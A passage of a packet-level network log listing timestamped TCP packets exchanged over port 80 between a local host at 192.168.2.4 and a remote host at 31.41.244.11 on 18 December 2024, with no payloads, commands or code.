Dec 18, 2024 17:08:26.386976957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.387233973 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.387979984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.388030052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.388052940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.388380051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.388814926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.388946056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.388951063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.388998032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.389839888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.389931917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.389986038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.390044928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.390861034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.390918016 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.390944958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.391005993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.391870975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.391917944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.392143011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.392193079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.392797947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.392864943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.392910004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.393014908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.393783092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.393831968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.394257069 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.394434929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.394790888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.394839048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.394992113 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.395045042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.395766973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.395821095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.396135092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.396312952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.396770954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.396864891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.396915913 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.397742033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.397797108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.397855997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.398107052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.398734093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.398858070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.398861885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.398941994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.399719954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.399779081 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.399867058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.399919987 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.400904894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.400914907 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.400964022 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.401710987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.401829004 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.401854038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.401906967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.402678967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.402761936 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.402786970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.402978897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.403696060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.403825045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.403903008 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.404192924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.404731989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.404781103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.404895067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.405242920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.405616999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.405666113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.405759096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.405808926 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.406618118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.406709909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.406752110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.406805992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.407605886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.407780886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.407800913 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.407820940 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.408636093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.408708096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.408751965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.408953905 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.409585953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.409709930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.409730911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.409758091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.551625013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.551701069 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.551752090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.551791906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.552015066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.552063942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.552159071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.552217007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.553162098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.553240061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.553328991 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.553374052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.554076910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.554151058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.554195881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.554261923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.554959059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.554997921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.555107117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.555154085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.555860996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.555928946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.555938005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.555982113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.556771040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.556817055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.556952953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.557004929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.557554007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.557693958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.557723999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.557832003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.558259964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.558429956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.558464050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.558516979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.559465885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.559528112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.559534073 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.559576035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.560157061 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.560260057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.560300112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.560424089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.561372042 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.561536074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.561595917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.562335968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.562433004 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.562474012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.562527895 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.563225985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.563337088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.563481092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.563584089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.564090967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.564215899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.564228058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.564273119 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.564945936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.565040112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.565045118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.565087080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.565879107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.565978050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.566011906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.566075087 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.566879034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.567022085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.567044973 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.567071915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.567979097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.568125010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.568156958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.568186998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.568828106 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.568881989 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.568938017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.568979979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.569832087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.569909096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.569955111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.570009947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.570955038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.571013927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.571283102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.571340084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.572139025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.572227001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.572318077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.572465897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.572948933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.573072910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.573116064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.573174000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.573950052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.574003935 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.574024916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.574065924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.574954033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.575018883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.575078964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.575850010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.575956106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.575993061 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.576270103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.576745987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.576795101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.576883078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.576925993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.577790022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.577847958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.577888012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.577924967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.578778028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.578912973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.578965902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.579746008 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.579833031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.580071926 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.580797911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.581094980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.581852913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.581944942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.582715034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.582812071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.582839012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.582849026 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.582933903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.583729029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.583797932 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.583836079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.583873987 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.584697962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.584801912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.584829092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.584899902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.586178064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.586244106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.586421967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.586482048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.586721897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.586808920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.586927891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.586977959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.587655067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.587712049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.587877989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.587924957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.588649988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.588697910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.588741064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.588815928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.589672089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.589732885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.589824915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.589907885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.590821028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.590872049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.590907097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.590967894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.591654062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.591711998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.591728926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.591773987 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.592638969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.592726946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.592854023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.592948914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.593630075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.593678951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.593889952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.593996048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.594598055 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.594655037 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.594695091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.594738007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.595609903 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.595659018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.595726013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.595794916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.596690893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.596738100 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.596752882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.596823931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.597620010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.597661972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.597703934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.597765923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.598594904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.598635912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.598695993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.598742962 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.599586010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.599632025 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.600016117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.600056887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.600541115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.600581884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.600625038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.600667953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.601552010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.601593971 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.601680994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.601722002 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.602730036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.602773905 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.743011951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.743071079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.743161917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.743206024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.743485928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.743534088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.743635893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.743679047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.744488955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.744532108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.744566917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.744635105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.745347977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.745398045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.745440006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.745484114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.746145010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.746191978 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.746293068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.746335983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.747085094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.747133970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.747234106 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.747276068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.748070002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.748115063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.748194933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.748236895 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.749039888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.749084949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.749177933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.749219894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.750051975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.750099897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.750236988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.750279903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.751126051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.751169920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.751235008 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.751271963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.752046108 CET	80	49771	31.41.244.11	192.168.2.4
